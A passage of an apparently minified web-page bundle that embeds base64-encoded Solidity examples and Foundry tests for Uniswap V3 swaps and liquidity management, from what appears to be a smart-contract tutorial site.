Q3VycmVudFJhbmdlKAogICAgICAgICAgICB0b2tlbklkLCBkYWlBbW91bnRUb0FkZCwgd2V0aEFtb3VudFRvQWRkCiAgICAgICAgKTsKICAgICAgICBsaXF1aWRpdHkgKz0gbGlxdWlkaXR5RGVsdGE7CgogICAgICAgIGNvbnNvbGUyLmxvZygiLS0tIEluY3JlYXNlIGxpcXVpZGl0eSAtLS0iKTsKICAgICAgICBjb25zb2xlMi5sb2coImxpcXVpZGl0eSIsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCJhbW91bnQgMCIsIGFtb3VudDApOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDEiLCBhbW91bnQxKTsKCiAgICAgICAgLy8gRGVjcmVhc2UgbGlxdWlkaXR5CiAgICAgICAgKGFtb3VudDAsIGFtb3VudDEpID0KICAgICAgICAgICAgdW5pLmRlY3JlYXNlTGlxdWlkaXR5Q3VycmVudFJhbmdlKHRva2VuSWQsIGxpcXVpZGl0eSk7CiAgICAgICAgY29uc29sZTIubG9nKCItLS0gRGVjcmVhc2UgbGlxdWlkaXR5IC0tLSIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiYW1vdW50IDAiLCBhbW91bnQwKTsKICAgICAgICBjb25zb2xlMi5sb2coImFtb3VudCAxIiwgYW1vdW50MSk7CiAgICB9Cn0K"}],kb=`
                    Examples of minting new position, collect fees, increase and decrease liquidity.
                    
 
                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
@@ -6960,7 +6960,7 @@ IERC20 constant PAIR Uniswap V3
                    
 
                    Foundry
                    
 
                    Uniswap V3 Foundry example
                    
-`,Wb=({prev:s,next:a})=>r.jsx(A,{version:mb,title:bb,description:wb,html:Zb,prev:s,next:a,codes:kb}),Bb="0.8.24",Gb="Uniswap V3 Swap Examples",Vb="Uniswap V3 swap examples",fb=[{fileName:"UniswapV3MultiHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBVU0RDID0gMHhBMGI4Njk5MWM2MjE4YjM2YzFkMTlENGEyZTlFYjBjRTM2MDZlQjQ4OwphZGRyZXNzIGNvbnN0YW50IERBSSA9IDB4NkIxNzU0NzRFODkwOTRDNDREYTk4Yjk1NEVlZGVBQzQ5NTI3MWQwRjsKCmNvbnRyYWN0IFVuaXN3YXBWM011bHRpSG9wU3dhcCB7CiAgICBJU3dhcFJvdXRlcjAyIHByaXZhdGUgY29uc3RhbnQgcm91dGVyID0gSVN3YXBSb3V0ZXIwMihTV0FQX1JPVVRFUl8wMik7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSUVSQzIwKFdFVEgpOwogICAgSUVSQzIwIHByaXZhdGUgY29uc3RhbnQgZGFpID0gSUVSQzIwKERBSSk7CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0SW5wdXRNdWx0aUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGJ5dGVzIG1lbW9yeSBwYXRoID0KICAgICAgICAgICAgYWJpLmVuY29kZVBhY2tlZChXRVRILCB1aW50MjQoMzAwMCksIFVTREMsIHVpbnQyNCgxMDApLCBEQUkpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0SW5wdXRQYXJhbXMgbWVtb3J5IHBhcmFtcyA9IElTd2FwUm91dGVyMDIKICAgICAgICAgICAgLkV4YWN0SW5wdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogYW1vdW50T3V0TWluCiAgICAgICAgfSk7CgogICAgICAgIHJvdXRlci5leGFjdElucHV0KHBhcmFtcyk7CiAgICB9CgogICAgZnVuY3Rpb24gc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBieXRlcyBtZW1vcnkgcGF0aCA9CiAgICAgICAgICAgIGFiaS5lbmNvZGVQYWNrZWQoREFJLCB1aW50MjQoMTAwKSwgVVNEQywgdWludDI0KDMwMDApLCBXRVRIKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIwMi5FeGFjdE91dHB1dFBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RPdXRwdXRQYXJhbXMoewogICAgICAgICAgICBwYXRoOiBwYXRoLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGFtb3VudE91dDogYW1vdW50T3V0LAogICAgICAgICAgICBhbW91bnRJbk1heGltdW06IGFtb3VudEluTWF4CiAgICAgICAgfSk7CgogICAgICAgIHVpbnQyNTYgYW1vdW50SW4gPSByb3V0ZXIuZXhhY3RPdXRwdXQocGFyYW1zKTsKCiAgICAgICAgaWYgKGFtb3VudEluIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgMCk7CiAgICAgICAgICAgIHdldGgudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRJbik7CiAgICAgICAgfQogICAgfQp9CgppbnRlcmZhY2UgSVN3YXBSb3V0ZXIwMiB7CiAgICBzdHJ1Y3QgRXhhY3RJbnB1dFBhcmFtcyB7CiAgICAgICAgYnl0ZXMgcGF0aDsKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudDsKICAgICAgICB1aW50MjU2IGFtb3VudEluOwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0TWluaW11bTsKICAgIH0KCiAgICBmdW5jdGlvbiBleGFjdElucHV0KEV4YWN0SW5wdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KTsKCiAgICBzdHJ1Y3QgRXhhY3RPdXRwdXRQYXJhbXMgewogICAgICAgIGJ5dGVzIHBhdGg7CiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQ7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQ7CiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heGltdW07CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXQoRXhhY3RPdXRwdXRQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3MultiHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM011bHRpSG9wU3dhcC5zb2wiOwoKY29udHJhY3QgVW5pc3dhcFYzTXVsdGlIb3BTd2FwVGVzdCBpcyBUZXN0IHsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBTV0FQX1JPVVRFUl8wMiA9CiAgICAgICAgMHg2OGIzNDY1ODMzZmI3MkE3MGVjREY0ODVFMGU0QzdiRDg2NjVGYzQ1OwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYzTXVsdGlIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IEFNT1VOVF9PVVQgPSAyMCAqIDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTUFYX0FNT1VOVF9JTiA9IDFlMTg7CgogICAgZnVuY3Rpb24gc2V0VXAoKSBwdWJsaWMgewogICAgICAgIHN3YXAgPSBuZXcgVW5pc3dhcFYzTXVsdGlIb3BTd2FwKCk7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiBBTU9VTlRfSU4gKyBNQVhfQU1PVU5UX0lOfSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHN3YXApLCB0eXBlKHVpbnQyNTYpLm1heCk7CiAgICB9CgogICAgZnVuY3Rpb24gdGVzdF9zd2FwRXhhY3RJbnB1dE11bHRpSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0TXVsdGlIb3AoQU1PVU5UX0lOLCAxKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBhc3NlcnRHdChkMSwgMCwgIkRBSSBiYWxhbmNlID0gMCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3Rfc3dhcEV4YWN0T3V0cHV0TXVsdGlIb3AoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgdzAgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQwID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzd2FwLnN3YXBFeGFjdE91dHB1dE11bHRpSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SingleHopSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmFkZHJlc3MgY29uc3RhbnQgU1dBUF9ST1VURVJfMDIgPSAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CmFkZHJlc3MgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKYWRkcmVzcyBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7Cgpjb250cmFjdCBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHsKICAgIElTd2FwUm91dGVyMDIgcHJpdmF0ZSBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcjAyKFNXQVBfUk9VVEVSXzAyKTsKICAgIElFUkMyMCBwcml2YXRlIGNvbnN0YW50IHdldGggPSBJRVJDMjAoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RJbnB1dFNpbmdsZUhvcCh1aW50MjU2IGFtb3VudEluLCB1aW50MjU2IGFtb3VudE91dE1pbikKICAgICAgICBleHRlcm5hbAogICAgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIElTd2FwUm91dGVyMDIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIwMgogICAgICAgICAgICAuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRJbjogYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbmltdW06IGFtb3VudE91dE1pbiwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzd2FwRXhhY3RPdXRwdXRTaW5nbGVIb3AodWludDI1NiBhbW91bnRPdXQsIHVpbnQyNTYgYW1vdW50SW5NYXgpCiAgICAgICAgZXh0ZXJuYWwKICAgIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBJU3dhcFJvdXRlcjAyLkV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIG1lbW9yeSBwYXJhbXMgPSBJU3dhcFJvdXRlcjAyCiAgICAgICAgICAgIC5FeGFjdE91dHB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IFdFVEgsCiAgICAgICAgICAgIHRva2VuT3V0OiBEQUksCiAgICAgICAgICAgIGZlZTogMzAwMCwKICAgICAgICAgICAgcmVjaXBpZW50OiBtc2cuc2VuZGVyLAogICAgICAgICAgICBhbW91bnRPdXQ6IGFtb3VudE91dCwKICAgICAgICAgICAgYW1vdW50SW5NYXhpbXVtOiBhbW91bnRJbk1heCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgdWludDI1NiBhbW91bnRJbiA9IHJvdXRlci5leGFjdE91dHB1dFNpbmdsZShwYXJhbXMpOwoKICAgICAgICBpZiAoYW1vdW50SW4gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCAwKTsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudEluKTsKICAgICAgICB9CiAgICB9Cn0KCmludGVyZmFjZSBJU3dhcFJvdXRlcjAyIHsKICAgIHN0cnVjdCBFeGFjdElucHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW47CiAgICAgICAgdWludDI1NiBhbW91bnRPdXRNaW5pbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RJbnB1dFNpbmdsZShFeGFjdElucHV0U2luZ2xlUGFyYW1zIGNhbGxkYXRhIHBhcmFtcykKICAgICAgICBleHRlcm5hbAogICAgICAgIHBheWFibGUKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCk7CgogICAgc3RydWN0IEV4YWN0T3V0cHV0U2luZ2xlUGFyYW1zIHsKICAgICAgICBhZGRyZXNzIHRva2VuSW47CiAgICAgICAgYWRkcmVzcyB0b2tlbk91dDsKICAgICAgICB1aW50MjQgZmVlOwogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50OwogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0OwogICAgICAgIHVpbnQyNTYgYW1vdW50SW5NYXhpbXVtOwogICAgICAgIHVpbnQxNjAgc3FydFByaWNlTGltaXRYOTY7CiAgICB9CgogICAgZnVuY3Rpb24gZXhhY3RPdXRwdXRTaW5nbGUoRXhhY3RPdXRwdXRTaW5nbGVQYXJhbXMgY2FsbGRhdGEgcGFyYW1zKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcGF5YWJsZQogICAgICAgIHJldHVybnMgKHVpbnQyNTYgYW1vdW50SW4pOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiB0cmFuc2ZlcihhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIGFsbG93YW5jZShhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKGFkZHJlc3Mgc2VuZGVyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElXRVRIIGlzIElFUkMyMCB7CiAgICBmdW5jdGlvbiBkZXBvc2l0KCkgZXh0ZXJuYWwgcGF5YWJsZTsKICAgIGZ1bmN0aW9uIHdpdGhkcmF3KHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbDsKfQo="},{fileName:"UniswapV3SingleHopSwapTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12My1zd2FwL1VuaXN3YXBWM1NpbmdsZUhvcFN3YXAuc29sIjsKCmNvbnRyYWN0IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXBUZXN0IGlzIFRlc3QgewogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFNXQVBfUk9VVEVSXzAyID0KICAgICAgICAweDY4YjM0NjU4MzNmYjcyQTcwZWNERjQ4NUUwZTRDN2JEODY2NUZjNDU7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgREFJX1dFVEhfUE9PTF8zMDAwID0KICAgICAgICAweEMyZTlGMjVCZTYyNTdjMjEwZDdBZGYwRDRDZDZFM0U4ODFiYTI1Zjg7CgogICAgSVdFVEggcHJpdmF0ZSBjb25zdGFudCB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBjb25zdGFudCBkYWkgPSBJRVJDMjAoREFJKTsKCiAgICBVbmlzd2FwVjNTaW5nbGVIb3BTd2FwIHByaXZhdGUgc3dhcDsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgQU1PVU5UX0lOID0gMWUxODsKICAgIHVpbnQyNTYgcHJpdmF0ZSBjb25zdGFudCBBTU9VTlRfT1VUID0gNTAgKiAxZTE4OwogICAgdWludDI1NiBwcml2YXRlIGNvbnN0YW50IE1BWF9BTU9VTlRfSU4gPSAxZTE4OwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHsKICAgICAgICBzd2FwID0gbmV3IFVuaXN3YXBWM1NpbmdsZUhvcFN3YXAoKTsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IEFNT1VOVF9JTiArIE1BWF9BTU9VTlRfSU59KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Moc3dhcCksIHR5cGUodWludDI1NikubWF4KTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdElucHV0U2luZ2xlSG9wKCkgcHVibGljIHsKICAgICAgICBzd2FwLnN3YXBFeGFjdElucHV0U2luZ2xlSG9wKEFNT1VOVF9JTiwgMSk7CiAgICAgICAgdWludDI1NiBkMSA9IGRhaS5iYWxhbmNlT2YoYWRkcmVzcyh0aGlzKSk7CiAgICAgICAgYXNzZXJ0R3QoZDEsIDAsICJEQUkgYmFsYW5jZSA9IDAiKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0X3N3YXBFeGFjdE91dHB1dFNpbmdsZUhvcCgpIHB1YmxpYyB7CiAgICAgICAgdWludDI1NiB3MCA9IHdldGguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHVpbnQyNTYgZDAgPSBkYWkuYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpOwogICAgICAgIHN3YXAuc3dhcEV4YWN0T3V0cHV0U2luZ2xlSG9wKEFNT1VOVF9PVVQsIE1BWF9BTU9VTlRfSU4pOwogICAgICAgIHVpbnQyNTYgdzEgPSB3ZXRoLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICB1aW50MjU2IGQxID0gZGFpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKCiAgICAgICAgYXNzZXJ0THQodzEsIHcwLCAiV0VUSCBiYWxhbmNlIGRpZG4ndCBkZWNyZWFzZSIpOwogICAgICAgIGFzc2VydEd0KGQxLCBkMCwgIkRBSSBiYWxhbmNlIGRpZG4ndCBpbmNyZWFzZSIpOwogICAgICAgIGFzc2VydEVxKHdldGguYmFsYW5jZU9mKGFkZHJlc3Moc3dhcCkpLCAwLCAiV0VUSCBiYWxhbmNlIG9mIHN3YXAgIT0gMCIpOwogICAgICAgIGFzc2VydEVxKGRhaS5iYWxhbmNlT2YoYWRkcmVzcyhzd2FwKSksIDAsICJEQUkgYmFsYW5jZSBvZiBzd2FwICE9IDAiKTsKICAgIH0KfQo="},{fileName:"UniswapV3SwapExamples.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWM1N3YXBFeGFtcGxlcyB7CiAgICBJU3dhcFJvdXRlciBjb25zdGFudCByb3V0ZXIgPSBJU3dhcFJvdXRlcigweEU1OTI0MjdBMEFFY2U5MkRlM0VkZWUxRjE4RTAxNTdDMDU4NjE1NjQpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdElucHV0U2luZ2xlSG9wKGFkZHJlc3MgdG9rZW5JbiwgYWRkcmVzcyB0b2tlbk91dCwgdWludDI0IHBvb2xGZWUsIHVpbnQyNTYgYW1vdW50SW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBJRVJDMjAodG9rZW5JbikudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBJRVJDMjAodG9rZW5JbikuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyBtZW1vcnkgcGFyYW1zID0gSVN3YXBSb3V0ZXIuRXhhY3RJbnB1dFNpbmdsZVBhcmFtcyh7CiAgICAgICAgICAgIHRva2VuSW46IHRva2VuSW4sCiAgICAgICAgICAgIHRva2VuT3V0OiB0b2tlbk91dCwKICAgICAgICAgICAgZmVlOiBwb29sRmVlLAogICAgICAgICAgICByZWNpcGllbnQ6IG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGRlYWRsaW5lOiBibG9jay50aW1lc3RhbXAsCiAgICAgICAgICAgIGFtb3VudEluOiBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluaW11bTogMCwKICAgICAgICAgICAgc3FydFByaWNlTGltaXRYOTY6IDAKICAgICAgICB9KTsKCiAgICAgICAgYW1vdW50T3V0ID0gcm91dGVyLmV4YWN0SW5wdXRTaW5nbGUocGFyYW1zKT